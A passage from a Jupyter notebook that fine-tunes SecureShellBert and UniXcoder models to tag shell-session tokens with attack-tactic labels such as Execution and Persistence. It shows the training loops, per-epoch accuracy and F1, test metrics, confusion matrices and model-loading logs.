test_metrics = compute_metrics(full_predictions, full_labels)

for key in ["token_accuracy", "token_f1", "token_precision", "token_recall"]:
    print(f"{key:<20}: {test_metrics[key]*100:6.2f}%")


compute_confusion_matrix(full_predictions, full_labels, normalize=False)
compute_confusion_matrix(full_predictions, full_labels, normalize=True)
token_accuracy      :  88.37%
token_f1            :  73.72%
token_precision     :  86.84%
token_recall        :  69.00%
Out[ ]:
array([[8.63190624e-01, 1.24611337e-01, 2.39177230e-04, 9.80626644e-03,
        1.43506338e-03, 2.39177230e-04, 4.78354461e-04],
       [1.11305454e-02, 9.68039434e-01, 7.47336619e-03, 3.81618699e-03,
        8.42741294e-03, 1.11305454e-03, 0.00000000e+00],
       [3.85914134e-03, 6.46406175e-02, 9.30053063e-01, 0.00000000e+00,
        4.82392668e-04, 0.00000000e+00, 9.64785335e-04],
       [6.18556701e-02, 3.60824742e-02, 0.00000000e+00, 8.81443299e-01,
        0.00000000e+00, 2.06185567e-02, 0.00000000e+00],
       [3.83030303e-01, 2.78787879e-02, 7.27272727e-03, 2.42424242e-03,
        5.69696970e-01, 1.21212121e-03, 8.48484848e-03],
       [8.21256039e-02, 5.45893720e-01, 0.00000000e+00, 0.00000000e+00,
        0.00000000e+00, 3.71980676e-01, 0.00000000e+00],
       [3.22344322e-01, 3.58974359e-01, 0.00000000e+00, 7.32600733e-02,
        0.00000000e+00, 0.00000000e+00, 2.45421245e-01]])
In [ ]:
# SECURE SHELL BERT
model3 = "SmartDataPolito/SecureShellBert"

shellbert_tokenizer = AutoTokenizer.from_pretrained(model3, add_prefix_space=True)

def tokenize_and_align_labels_shellbert(samples):

    # Remember: we need to split the sentences
    split_sentences = [sentence.split(" ") for sentence in samples["session"]]
    # Tokenize all examples in batch using the global tokenizer
    tokenized_inputs = shellbert_tokenizer(
        split_sentences,
        truncation=True,  # Truncate to max length if needed
        is_split_into_words=True,  # Input is already split into words
        max_length=512
    )

    # Extract all tags_id lists from the examples
    all_tags = samples["label_id"]
    new_labels = []
    # Process each example's labels individually
    for i, tags in enumerate(all_tags):
        # Get word ID mapping for the current example
        word_ids = tokenized_inputs.word_ids(i)
        # Convert word-level tags to token-level tags
        #print(f"\nTags{tags} and Word_ids {word_ids}")
        aligned_labels = align_labels_with_tokens(tags, word_ids)
        new_labels.append(aligned_labels)
    # Add the aligned labels to the tokenized inputs
    tokenized_inputs["labels"] = new_labels
    return tokenized_inputs

shellbert_tokenized_datasets = encoded_dataset.map(
    tokenize_and_align_labels_shellbert,
    batched=True, # Can be performed in batches, in order to speed up times!
    remove_columns=original_columns, # To remove the original columns
)

print(shellbert_tokenized_datasets)
loading file vocab.json from cache at /root/.cache/huggingface/hub/models--SmartDataPolito--SecureShellBert/snapshots/a4f186767a3a3f780dc8f7da13caef9b267cacbf/vocab.json
loading file merges.txt from cache at /root/.cache/huggingface/hub/models--SmartDataPolito--SecureShellBert/snapshots/a4f186767a3a3f780dc8f7da13caef9b267cacbf/merges.txt
loading file tokenizer.json from cache at /root/.cache/huggingface/hub/models--SmartDataPolito--SecureShellBert/snapshots/a4f186767a3a3f780dc8f7da13caef9b267cacbf/tokenizer.json
loading file added_tokens.json from cache at None
loading file special_tokens_map.json from cache at /root/.cache/huggingface/hub/models--SmartDataPolito--SecureShellBert/snapshots/a4f186767a3a3f780dc8f7da13caef9b267cacbf/special_tokens_map.json
loading file tokenizer_config.json from cache at /root/.cache/huggingface/hub/models--SmartDataPolito--SecureShellBert/snapshots/a4f186767a3a3f780dc8f7da13caef9b267cacbf/tokenizer_config.json
loading file chat_template.jinja from cache at None
DatasetDict({
    train: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 200
    })
    valid: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 51
    })
    test: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 108
    })
})
In [ ]:
shellbert_data_collator = DataCollatorForTokenClassification(tokenizer=shellbert_tokenizer)

# BSHELLBERT data loaders
shellbert_train_dataloader = DataLoader(
    shellbert_tokenized_datasets["train"],
    shuffle=True,
    collate_fn=shellbert_data_collator,
    batch_size=16,
)
shellbert_eval_dataloader = DataLoader(
    shellbert_tokenized_datasets["valid"], collate_fn=shellbert_data_collator, batch_size=16
)
shellbert_test_dataloader = DataLoader(
    shellbert_tokenized_datasets["test"], collate_fn=shellbert_data_collator, batch_size=16
)

shellbert_model = AutoModelForTokenClassification.from_pretrained(
    pretrained_model_name_or_path=model3,
    id2label=id2label,
    label2id=label2id,
)
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--SmartDataPolito--SecureShellBert/snapshots/a4f186767a3a3f780dc8f7da13caef9b267cacbf/config.json
Model config RobertaConfig {
  "architectures": [
    "RobertaForMaskedLM"
  ],
  "attention_probs_dropout_prob": 0.1,
  "bos_token_id": 0,
  "classifier_dropout": null,
  "eos_token_id": 2,
  "hidden_act": "gelu",
  "hidden_dropout_prob": 0.1,
  "hidden_size": 768,
  "id2label": {
    "0": "Execution",
    "1": "Discovery",
    "2": "Persistence",
    "3": "Defense Evasion",
    "4": "Not Malicious Yet",
    "5": "Other",
    "6": "Impact"
  },
  "initializer_range": 0.02,
  "intermediate_size": 3072,
  "label2id": {
    "Defense Evasion": 3,
    "Discovery": 1,
    "Execution": 0,
    "Impact": 6,
    "Not Malicious Yet": 4,
    "Other": 5,
    "Persistence": 2
  },
  "layer_norm_eps": 1e-05,
  "max_position_embeddings": 514,
  "model_type": "roberta",
  "num_attention_heads": 12,
  "num_hidden_layers": 12,
  "output_past": true,
  "pad_token_id": 1,
  "position_embedding_type": "absolute",
  "torch_dtype": "float32",
  "transformers_version": "4.55.1",
  "type_vocab_size": 1,
  "use_cache": true,
  "vocab_size": 50265
}

loading weights file pytorch_model.bin from cache at /root/.cache/huggingface/hub/models--SmartDataPolito--SecureShellBert/snapshots/a4f186767a3a3f780dc8f7da13caef9b267cacbf/pytorch_model.bin
Attempting to create safetensors variant
Some weights of the model checkpoint at SmartDataPolito/SecureShellBert were not used when initializing RobertaForTokenClassification: ['lm_head.bias', 'lm_head.dense.bias', 'lm_head.dense.weight', 'lm_head.layer_norm.bias', 'lm_head.layer_norm.weight']
- This IS expected if you are initializing RobertaForTokenClassification from the checkpoint of a model trained on another task or with another architecture (e.g. initializing a BertForSequenceClassification model from a BertForPreTraining model).
- This IS NOT expected if you are initializing RobertaForTokenClassification from the checkpoint of a model that you expect to be exactly identical (initializing a BertForSequenceClassification model from a BertForSequenceClassification model).
Some weights of RobertaForTokenClassification were not initialized from the model checkpoint at SmartDataPolito/SecureShellBert and are newly initialized: ['classifier.bias', 'classifier.weight']
You should probably TRAIN this model on a down-stream task to be able to use it for predictions and inference.
In [ ]:
LR = 2e-5
N_TRAIN_EPOCHS = 30
# Define optimizer
shellbert_optimizer = AdamW(shellbert_model.parameters(), lr=LR)

# FOR shellbert
shellbert_num_update_steps_per_epoch = len(shellbert_train_dataloader)
# Total number of training steps: number_batches_x_epoch x number of epochs!
num_training_steps_shellbert = N_TRAIN_EPOCHS * shellbert_num_update_steps_per_epoch

shellbert_lr_scheduler = get_scheduler(
    "linear",
    optimizer=shellbert_optimizer,
    num_warmup_steps=0,
    num_training_steps=num_training_steps_shellbert,
)

best_val_loss, best_epoch = np.inf, 0
best_model = deepcopy(shellbert_model)

device = 'cuda' if cuda.is_available() else 'cpu'
shellbert_model = shellbert_model.to(device)
print(shellbert_model.device)
cuda:0
In [ ]:
progress_bar = tqdm(range(num_training_steps_bert))
val_losses, train_losses = [], [] # Lists to keep track of the training and validation losses

#training
for epoch in range(N_TRAIN_EPOCHS):
    # Training
    shellbert_model.train()
    train_loss = 0
    for batch in shellbert_train_dataloader:
        batch = {key:value.to(device) for key, value in batch.items()}
        # Model expects:
        # - input_ids > i.e., which tokens we must map into the embeddings
        # - attention_mask > who shall each token pays attention to
        # - labels > the NER tags
        outputs = shellbert_model(input_ids=batch["input_ids"],
                        attention_mask=batch["attention_mask"],
                        labels=batch["labels"]
        )
        # Notice: the model already comes with a CrossEntropy loss
        # - if `labels` are defined, a loss is also computed
        loss = outputs.loss

        train_loss += loss.detach().cpu().clone().numpy()
        loss.backward()
        shellbert_optimizer.step()
        shellbert_lr_scheduler.step()
        shellbert_optimizer.zero_grad()
        progress_bar.update(1)
    train_losses.append(train_loss/len(shellbert_train_dataloader))
    # Evaluation
    shellbert_model.eval()
    full_predictions, full_labels = [], []
    val_loss = 0
    for batch in shellbert_eval_dataloader:
        batch = {key:value.to(device) for key, value in batch.items()}
        with torch.no_grad():
            outputs = shellbert_model(**batch)
        val_loss += outputs.loss.detach().cpu().clone().numpy()
        # Extract the predictions
        predictions = outputs.logits.argmax(dim=-1)
        labels = batch["labels"]
        true_predictions, true_labels = postprocess(predictions, labels)
        full_predictions+=true_predictions
        full_labels+=true_labels
    val_loss = val_loss/len(shellbert_eval_dataloader)
    val_losses.append(val_loss)
    metrics = compute_metrics(full_predictions, full_labels)
    print(
        f"epoch {epoch}:",
        {
            key: metrics[key]
            for key in ["token_accuracy", "token_f1"]
        },
    )
    if val_loss <= best_val_loss:
        best_epoch = epoch
        best_val_loss = val_loss
        best_model = deepcopy(shellbert_model)

plot_stats("shellbert", train_losses,
           validation_losses=val_losses, best_epoch=best_epoch)
Safetensors PR exists
epoch 0: {'token_accuracy': 0.43287790067230536, 'token_f1': 0.12406240881550265}
epoch 1: {'token_accuracy': 0.6473649967469096, 'token_f1': 0.23054839264154328}
epoch 2: {'token_accuracy': 0.719583604424203, 'token_f1': 0.3203096923591393}
epoch 3: {'token_accuracy': 0.7443070917371503, 'token_f1': 0.3418419080294145}
epoch 4: {'token_accuracy': 0.7692474517458252, 'token_f1': 0.35600960539229964}
epoch 5: {'token_accuracy': 0.7829104315766645, 'token_f1': 0.36354669507649945}
epoch 6: {'token_accuracy': 0.8050314465408805, 'token_f1': 0.37306144370159516}
epoch 7: {'token_accuracy': 0.811971372804164, 'token_f1': 0.41772111615625623}
epoch 8: {'token_accuracy': 0.8171763175016266, 'token_f1': 0.4511046715861936}
epoch 9: {'token_accuracy': 0.829104315766645, 'token_f1': 0.47501680198903606}
epoch 10: {'token_accuracy': 0.8388635870743874, 'token_f1': 0.49331288469538315}
epoch 11: {'token_accuracy': 0.8403816959444806, 'token_f1': 0.5137805866138547}
epoch 12: {'token_accuracy': 0.8453697679462155, 'token_f1': 0.5654844783485666}
epoch 13: {'token_accuracy': 0.8505747126436781, 'token_f1': 0.5398806888634856}
epoch 14: {'token_accuracy': 0.8477553675992192, 'token_f1': 0.5636038255104273}
epoch 15: {'token_accuracy': 0.8585990023855996, 'token_f1': 0.593036630309909}
epoch 16: {'token_accuracy': 0.8581652569941445, 'token_f1': 0.5893160420910698}
epoch 17: {'token_accuracy': 0.8553459119496856, 'token_f1': 0.5961393545731867}
epoch 18: {'token_accuracy': 0.8609846020386034, 'token_f1': 0.6086445610979149}
epoch 19: {'token_accuracy': 0.8575146389069617, 'token_f1': 0.6059343929117963}
epoch 20: {'token_accuracy': 0.8620689655172413, 'token_f1': 0.610868864080845}
epoch 21: {'token_accuracy': 0.8627195836044242, 'token_f1': 0.6076387735396719}
epoch 22: {'token_accuracy': 0.8644545651702451, 'token_f1': 0.6102119607012231}
epoch 23: {'token_accuracy': 0.8601171112556929, 'token_f1': 0.6114741687252871}
epoch 24: {'token_accuracy': 0.8646714378659727, 'token_f1': 0.616842725186119}
epoch 25: {'token_accuracy': 0.8627195836044242, 'token_f1': 0.6217825872892971}
epoch 26: {'token_accuracy': 0.8659726740403383, 'token_f1': 0.6236808432489076}
epoch 27: {'token_accuracy': 0.8664064194317935, 'token_f1': 0.6204042679005746}
epoch 28: {'token_accuracy': 0.8659726740403383, 'token_f1': 0.6194903818572728}
epoch 29: {'token_accuracy': 0.866189546736066, 'token_f1': 0.6197647954032124}
In [ ]:
plot_stats("shellbert", train_losses,
           validation_losses=val_losses, best_epoch=best_epoch)

# Evaluation
shellbert_model.eval()
full_predictions, full_labels = [], []
for batch in shellbert_test_dataloader:
    batch = {key:value.to(device) for key, value in batch.items()}
    with torch.no_grad():
        # Another way to pass the items to the model
        outputs = best_model(**batch)
    # Extract the predictions
    predictions = outputs.logits.argmax(dim=-1)
    labels = batch["labels"]
    true_predictions, true_labels = postprocess(predictions, labels)
    full_predictions+=true_predictions
    full_labels+=true_labels
test_metrics = compute_metrics(full_predictions, full_labels)

for key in ["token_accuracy", "token_f1", "token_precision", "token_recall"]:
    print(f"{key:<20}: {test_metrics[key]*100:6.2f}%")


compute_confusion_matrix(full_predictions, full_labels, normalize=False)
compute_confusion_matrix(full_predictions, full_labels, normalize=True)
token_accuracy      :  86.21%
token_f1            :  68.28%
token_precision     :  82.84%
token_recall        :  62.21%
Out[ ]:
array([[8.59838895e-01, 1.37629459e-01, 6.90448792e-04, 0.00000000e+00,
        4.60299194e-04, 1.38089758e-03, 0.00000000e+00],
       [1.22060137e-02, 9.55641560e-01, 1.50342364e-02, 5.95415302e-03,
        5.80529920e-03, 5.20988389e-03, 1.48853826e-04],
       [2.28597042e-02, 4.39264904e-02, 9.33213805e-01, 0.00000000e+00,
        0.00000000e+00, 0.00000000e+00, 0.00000000e+00],
       [2.95890411e-01, 9.31506849e-02, 0.00000000e+00, 6.10958904e-01,
        0.00000000e+00, 0.00000000e+00, 0.00000000e+00],
       [5.19163763e-01, 8.13008130e-03, 7.78164925e-02, 3.48432056e-03,
        3.91405343e-01, 0.00000000e+00, 0.00000000e+00],
       [1.18421053e-01, 5.57017544e-01, 0.00000000e+00, 0.00000000e+00,
        1.00877193e-01, 2.23684211e-01, 0.00000000e+00],
       [1.50537634e-01, 3.94265233e-01, 0.00000000e+00, 2.15053763e-02,
        5.37634409e-02, 0.00000000e+00, 3.79928315e-01]])
In [ ]:
best_model_unix_task3 = AutoModelForTokenClassification.from_pretrained(
    pretrained_model_name_or_path=model2,
    id2label=id2label,
    label2id=label2id,
)
# Freeze all layers
for param in best_model_unix_task3.base_model.parameters():
    param.requires_grad = False

# Unfreeze the last 2 layers
for param in best_model_unix_task3.base_model.encoder.layer[-2:].parameters():
    param.requires_grad = True

# The classification head (the token classifier) also needs to be trainable
for param in best_model_unix_task3.classifier.parameters():
    param.requires_grad = True


for name, param in best_model_unix_task3.named_parameters():
    if param.requires_grad:
        print(name)
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/config.json
Model config RobertaConfig {
  "architectures": [
    "RobertaModel"
  ],
  "attention_probs_dropout_prob": 0.1,
  "bos_token_id": 0,
  "classifier_dropout": null,
  "eos_token_id": 2,
  "gradient_checkpointing": false,
  "hidden_act": "gelu",
  "hidden_dropout_prob": 0.1,
  "hidden_size": 768,
  "id2label": {
    "0": "Execution",
    "1": "Discovery",
    "2": "Persistence",
    "3": "Defense Evasion",
    "4": "Not Malicious Yet",
    "5": "Other",
    "6": "Impact"
  },
  "initializer_range": 0.02,
  "intermediate_size": 3072,
  "label2id": {
    "Defense Evasion": 3,
    "Discovery": 1,
    "Execution": 0,
    "Impact": 6,
    "Not Malicious Yet": 4,
    "Other": 5,
    "Persistence": 2
  },
  "layer_norm_eps": 1e-05,
  "max_position_embeddings": 1026,
  "model_type": "roberta",
  "num_attention_heads": 12,
  "num_hidden_layers": 12,
  "output_past": true,
  "pad_token_id": 1,
  "position_embedding_type": "absolute",
  "torch_dtype": "float32",
  "transformers_version": "4.55.2",
  "type_vocab_size": 10,
  "use_cache": true,
  "vocab_size": 51416
}

loading weights file pytorch_model.bin from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/pytorch_model.bin
Attempting to create safetensors variant
Safetensors PR exists
Some weights of the model checkpoint at microsoft/unixcoder-base were not used when initializing RobertaForTokenClassification: ['roberta.pooler.dense.bias', 'roberta.pooler.dense.weight']
- This IS expected if you are initializing RobertaForTokenClassification from the checkpoint of a model trained on another task or with another architecture (e.g. initializing a BertForSequenceClassification model from a BertForPreTraining model).
- This IS NOT expected if you are initializing RobertaForTokenClassification from the checkpoint of a model that you expect to be exactly identical (initializing a BertForSequenceClassification model from a BertForSequenceClassification model).
Some weights of RobertaForTokenClassification were not initialized from the model checkpoint at microsoft/unixcoder-base and are newly initialized: ['classifier.bias', 'classifier.weight']
You should probably TRAIN this model on a down-stream task to be able to use it for predictions and inference.
roberta.encoder.layer.10.attention.self.query.weight
roberta.encoder.layer.10.attention.self.query.bias
roberta.encoder.layer.10.attention.self.key.weight
roberta.encoder.layer.10.attention.self.key.bias
roberta.encoder.layer.10.attention.self.value.weight
roberta.encoder.layer.10.attention.self.value.bias
roberta.encoder.layer.10.attention.output.dense.weight
roberta.encoder.layer.10.attention.output.dense.bias
roberta.encoder.layer.10.attention.output.LayerNorm.weight
roberta.encoder.layer.10.attention.output.LayerNorm.bias
roberta.encoder.layer.10.intermediate.dense.weight
roberta.encoder.layer.10.intermediate.dense.bias
roberta.encoder.layer.10.output.dense.weight
roberta.encoder.layer.10.output.dense.bias
roberta.encoder.layer.10.output.LayerNorm.weight
roberta.encoder.layer.10.output.LayerNorm.bias
roberta.encoder.layer.11.attention.self.query.weight
roberta.encoder.layer.11.attention.self.query.bias
roberta.encoder.layer.11.attention.self.key.weight
roberta.encoder.layer.11.attention.self.key.bias
roberta.encoder.layer.11.attention.self.value.weight
roberta.encoder.layer.11.attention.self.value.bias
roberta.encoder.layer.11.attention.output.dense.weight
roberta.encoder.layer.11.attention.output.dense.bias
roberta.encoder.layer.11.attention.output.LayerNorm.weight
roberta.encoder.layer.11.attention.output.LayerNorm.bias
roberta.encoder.layer.11.intermediate.dense.weight
roberta.encoder.layer.11.intermediate.dense.bias
roberta.encoder.layer.11.output.dense.weight
roberta.encoder.layer.11.output.dense.bias
roberta.encoder.layer.11.output.LayerNorm.weight
roberta.encoder.layer.11.output.LayerNorm.bias
classifier.weight
classifier.bias
In [ ]:
total_params = sum(p.numel() for p in best_model_unix_task3.parameters())
print(f"Full model has {total_params:,} parameters")

trainable_params = sum(p.numel() for p in best_model_unix_task3.parameters() if p.requires_grad)
print(f"However, we will only train: {trainable_params:,}")

optimizer = AdamW(best_model_unix_task3.parameters(), lr=LR)
lr_scheduler = get_scheduler(
    "linear",
    optimizer=optimizer,
    num_warmup_steps=0,
    num_training_steps=num_training_steps_unix
)
Full model has 125,344,519 parameters
However, we will only train: 14,181,127
In [ ]:
# Best model initialization
best_val_loss, best_epoch = np.inf, 0
best_model_unix_freeze = deepcopy(best_model_unix_task3)

device = 'cuda' if cuda.is_available() else 'cpu'
print(device)
best_model_unix_task3 = best_model_unix_task3.to(device)
cuda
In [ ]:
progress_bar = tqdm(range(num_training_steps_unix))
val_losses, train_losses = [], [] # Lists to keep track of the training and validation losses

for epoch in range(N_TRAIN_EPOCHS):
    # Training
    best_model_unix_task3.train()
    train_loss = 0
    for batch in unix_train_dataloader:
        batch = {key:value.to(device) for key, value in batch.items()}
        # Model expects:
        # - input_ids > i.e., which tokens we must map into the embeddings
        # - attention_mask > who shall each token pays attention to
        # - labels > the NER tags
        outputs = best_model_unix_task3(input_ids=batch["input_ids"],
                        attention_mask=batch["attention_mask"],
                        labels=batch["labels"]
        )
        # Notice: the model already comes with a CrossEntropy loss
        # - if `labels` are defined, a loss is also computed
        loss = outputs.loss
        train_loss += loss.detach().cpu().clone().numpy()
        loss.backward()
        optimizer.step()
        lr_scheduler.step()
        optimizer.zero_grad()
        progress_bar.update(1)
    train_losses.append(train_loss/len(unix_train_dataloader))
    # Evaluation
    best_model_unix_task3.eval()
    full_predictions, full_labels = [], []
    val_loss = 0
    for batch in unix_eval_dataloader:
        batch = {key:value.to(device) for key, value in batch.items()}
        with torch.no_grad():
            outputs = best_model_unix_task3(**batch)
        val_loss += outputs.loss.detach().cpu().clone().numpy()
        # Extract the predictions
        predictions = outputs.logits.argmax(dim=-1)
        labels = batch["labels"]
        true_predictions, true_labels = postprocess(predictions, labels)
        full_predictions+=true_predictions
        full_labels+=true_labels
    val_loss = val_loss/len(unix_eval_dataloader)
    val_losses.append(val_loss)
    metrics = compute_metrics(full_predictions, full_labels)
    print(
        f"epoch {epoch}:",
        {
            key: metrics[key]
            for key in ["token_accuracy", "token_f1"]
        },
    )
    if val_loss <= best_val_loss:
        best_epoch = epoch
        best_val_loss = val_loss
        best_model_unix_freeze = deepcopy(best_model_unix_task3)


plot_stats("UNIX FREEZE", train_losses,
           validation_losses=val_losses, best_epoch=best_epoch)
epoch 0: {'token_accuracy': 0.6444648598989435, 'token_f1': 0.271963853184993}
epoch 1: {'token_accuracy': 0.6488286632981167, 'token_f1': 0.2868535671202554}
epoch 2: {'token_accuracy': 0.6878732200275609, 'token_f1': 0.35520878100459247}
epoch 3: {'token_accuracy': 0.7108406063389986, 'token_f1': 0.3739839412419927}
epoch 4: {'token_accuracy': 0.7324299494717501, 'token_f1': 0.4003082249149183}
epoch 5: {'token_accuracy': 0.7441433164905834, 'token_f1': 0.4157648194433978}
epoch 6: {'token_accuracy': 0.7540192926045016, 'token_f1': 0.40916109304760145}
epoch 7: {'token_accuracy': 0.7629765732659624, 'token_f1': 0.43874914740380533}
epoch 8: {'token_accuracy': 0.7703261368856225, 'token_f1': 0.4510887080160063}
epoch 9: {'token_accuracy': 0.7740009186954525, 'token_f1': 0.4522486462680387}
epoch 10: {'token_accuracy': 0.7671107028020211, 'token_f1': 0.46036929067386995}
epoch 11: {'token_accuracy': 0.7772163527790538, 'token_f1': 0.4758532894224027}
epoch 12: {'token_accuracy': 0.7779053743683969, 'token_f1': 0.4542318082410159}
epoch 13: {'token_accuracy': 0.788929719797887, 'token_f1': 0.481406149704441}
epoch 14: {'token_accuracy': 0.7873220027560863, 'token_f1': 0.49462376773755956}
epoch 15: {'token_accuracy': 0.7965089572806615, 'token_f1': 0.49241176987708707}
epoch 16: {'token_accuracy': 0.7944418925126321, 'token_f1': 0.5054514726502477}
epoch 17: {'token_accuracy': 0.7994947175011484, 'token_f1': 0.5132520588225538}
epoch 18: {'token_accuracy': 0.8015617822691777, 'token_f1': 0.523649741041574}
epoch 19: {'token_accuracy': 0.8075333027101516, 'token_f1': 0.5186629819880312}
epoch 20: {'token_accuracy': 0.8052365640790078, 'token_f1': 0.546177107541215}
epoch 21: {'token_accuracy': 0.8063849333945797, 'token_f1': 0.5391288927245682}
epoch 22: {'token_accuracy': 0.807762976573266, 'token_f1': 0.5400675724579237}
epoch 23: {'token_accuracy': 0.8082223242994947, 'token_f1': 0.5317285236500232}
epoch 24: {'token_accuracy': 0.8073036288470372, 'token_f1': 0.5288149440137321}
epoch 25: {'token_accuracy': 0.8075333027101516, 'token_f1': 0.5458482586350867}
epoch 26: {'token_accuracy': 0.8091410197519522, 'token_f1': 0.5499160582164792}
epoch 27: {'token_accuracy': 0.808451998162609, 'token_f1': 0.5442458269854898}
epoch 28: {'token_accuracy': 0.8091410197519522, 'token_f1': 0.5457144413661473}
epoch 29: {'token_accuracy': 0.807762976573266, 'token_f1': 0.5440994627482189}
In [ ]:
# Evaluation
best_model_unix_task3.eval()
full_predictions, full_labels = [], []
for batch in unix_test_dataloader:
    batch = {key:value.to(device) for key, value in batch.items()}
    with torch.no_grad():
        # Another way to pass the items to the model
        outputs = best_model_unix_freeze(**batch)
    # Extract the predictions
    predictions = outputs.logits.argmax(dim=-1)
    labels = batch["labels"]
    true_predictions, true_labels = postprocess(predictions, labels)
    full_predictions+=true_predictions
    full_labels+=true_labels
test_metrics = compute_metrics(full_predictions, full_labels)

for key in ["token_accuracy", "token_f1", "token_precision", "token_recall"]:
    print(f"{key:<20}: {test_metrics[key]*100:6.2f}%")

compute_confusion_matrix(full_predictions, full_labels, normalize=False)
compute_confusion_matrix(full_predictions, full_labels, normalize=True)
token_accuracy      :  78.80%
token_f1            :  53.59%
token_precision     :  75.06%
token_recall        :  48.83%
Out[ ]:
array([[8.09375747e-01, 1.66228175e-01, 1.36331021e-02, 1.19588615e-03,
        9.32791198e-03, 2.39177230e-04, 0.00000000e+00],
       [4.57942439e-02, 9.13181746e-01, 3.16425505e-02, 1.90809350e-03,
        1.43107012e-03, 4.45221816e-03, 1.59007791e-03],
       [3.37674867e-03, 1.40858659e-01, 8.53352629e-01, 0.00000000e+00,
        0.00000000e+00, 0.00000000e+00, 2.41196334e-03],
       [6.46907216e-01, 1.64948454e-01, 0.00000000e+00, 1.54639175e-01,
        1.54639175e-02, 1.80412371e-02, 0.00000000e+00],
       [2.35151515e-01, 4.95757576e-01, 9.09090909e-02, 0.00000000e+00,
        1.73333333e-01, 4.84848485e-03, 0.00000000e+00],
       [1.01449275e-01, 5.74879227e-01, 0.00000000e+00, 0.00000000e+00,
        0.00000000e+00, 3.23671498e-01, 0.00000000e+00],
       [5.23809524e-01, 1.86813187e-01, 6.59340659e-02, 1.46520147e-02,
        1.83150183e-02, 0.00000000e+00, 1.90476190e-01]])
In [ ]:
# JUST THE CLASSIFICATION HEADER

best_model_unix_lastPoint = AutoModelForTokenClassification.from_pretrained(
    pretrained_model_name_or_path=model2,
    id2label=id2label,
    label2id=label2id,
)


# Freeze all layers
for param in best_model_unix_lastPoint.base_model.parameters():
    param.requires_grad = False

# The classification head (the token classifier) also needs to be trainable
for param in best_model_unix_lastPoint.classifier.parameters():
    param.requires_grad = True


for name, param in best_model_unix_lastPoint.named_parameters():
    if param.requires_grad:
        print(name)
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/config.json
Model config RobertaConfig {
  "architectures": [
    "RobertaModel"
  ],
  "attention_probs_dropout_prob": 0.1,
  "bos_token_id": 0,
  "classifier_dropout": null,
  "eos_token_id": 2,
  "gradient_checkpointing": false,
  "hidden_act": "gelu",
  "hidden_dropout_prob": 0.1,
  "hidden_size": 768,
  "id2label": {
    "0": "Execution",
    "1": "Discovery",
    "2": "Persistence",
    "3": "Defense Evasion",
    "4": "Not Malicious Yet",
    "5": "Other",
    "6": "Impact"
  },
  "initializer_range": 0.02,
  "intermediate_size": 3072,
  "label2id": {
    "Defense Evasion": 3,
    "Discovery": 1,
    "Execution": 0,
    "Impact": 6,
    "Not Malicious Yet": 4,
    "Other": 5,
    "Persistence": 2
  },
  "layer_norm_eps": 1e-05,
  "max_position_embeddings": 1026,
  "model_type": "roberta",
  "num_attention_heads": 12,
  "num_hidden_layers": 12,
  "output_past": true,
  "pad_token_id": 1,
  "position_embedding_type": "absolute",
  "torch_dtype": "float32",
  "transformers_version": "4.55.2",
  "type_vocab_size": 10,
  "use_cache": true,
  "vocab_size": 51416
}

loading weights file pytorch_model.bin from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/pytorch_model.bin
Attempting to create safetensors variant
Some weights of the model checkpoint at microsoft/unixcoder-base were not used when initializing RobertaForTokenClassification: ['roberta.pooler.dense.bias', 'roberta.pooler.dense.weight']
- This IS expected if you are initializing RobertaForTokenClassification from the checkpoint of a model trained on another task or with another architecture (e.g. initializing a BertForSequenceClassification model from a BertForPreTraining model).
- This IS NOT expected if you are initializing RobertaForTokenClassification from the checkpoint of a model that you expect to be exactly identical (initializing a BertForSequenceClassification model from a BertForSequenceClassification model).
Some weights of RobertaForTokenClassification were not initialized from the model checkpoint at microsoft/unixcoder-base and are newly initialized: ['classifier.bias', 'classifier.weight']
You should probably TRAIN this model on a down-stream task to be able to use it for predictions and inference.
classifier.weight
classifier.bias
In [ ]:
total_params = sum(p.numel() for p in best_model_unix_lastPoint.parameters())
print(f"Full model has {total_params:,} parameters")

trainable_params = sum(p.numel() for p in best_model_unix_lastPoint.parameters() if p.requires_grad)
print(f"However, we will only train: {trainable_params:,}")

optimizer = AdamW(best_model_unix_lastPoint.parameters(), lr=LR)
lr_scheduler = get_scheduler(
    "linear",
    optimizer=optimizer,
    num_warmup_steps=0,
    num_training_steps=num_training_steps_unix
)
Full model has 125,344,519 parameters
However, we will only train: 5,383
In [ ]:
# Best model initialization
best_val_loss, best_epoch = np.inf, 0
best_model_unix_freeze_only_head = deepcopy(best_model_unix_lastPoint)

device = 'cuda' if cuda.is_available() else 'cpu'
print(device)
best_model_unix_lastPoint = best_model_unix_lastPoint.to(device)
cuda
In [ ]:
progress_bar = tqdm(range(num_training_steps_unix))
val_losses, train_losses = [], [] # Lists to keep track of the training and validation losses

for epoch in range(N_TRAIN_EPOCHS):
    # Training
    best_model_unix_lastPoint.train()
    train_loss = 0
    for batch in unix_train_dataloader:
        batch = {key:value.to(device) for key, value in batch.items()}
        # Model expects:
        # - input_ids > i.e., which tokens we must map into the embeddings
        # - attention_mask > who shall each token pays attention to
        # - labels > the NER tags
        outputs = best_model_unix_lastPoint(input_ids=batch["input_ids"],
                        attention_mask=batch["attention_mask"],
                        labels=batch["labels"]
        )
        # Notice: the model already comes with a CrossEntropy loss
        # - if `labels` are defined, a loss is also computed
        loss = outputs.loss
        train_loss += loss.detach().cpu().clone().numpy()
        loss.backward()
        optimizer.step()
        lr_scheduler.step()
        optimizer.zero_grad()
        progress_bar.update(1)
    train_losses.append(train_loss/len(unix_train_dataloader))
    # Evaluation
    best_model_unix_lastPoint.eval()
    full_predictions, full_labels = [], []
    val_loss = 0
    for batch in unix_eval_dataloader:
        batch = {key:value.to(device) for key, value in batch.items()}
        with torch.no_grad():
            outputs = best_model_unix_lastPoint(**batch)
        val_loss += outputs.loss.detach().cpu().clone().numpy()
        # Extract the predictions
        predictions = outputs.logits.argmax(dim=-1)
        labels = batch["labels"]
        true_predictions, true_labels = postprocess(predictions, labels)
        full_predictions+=true_predictions
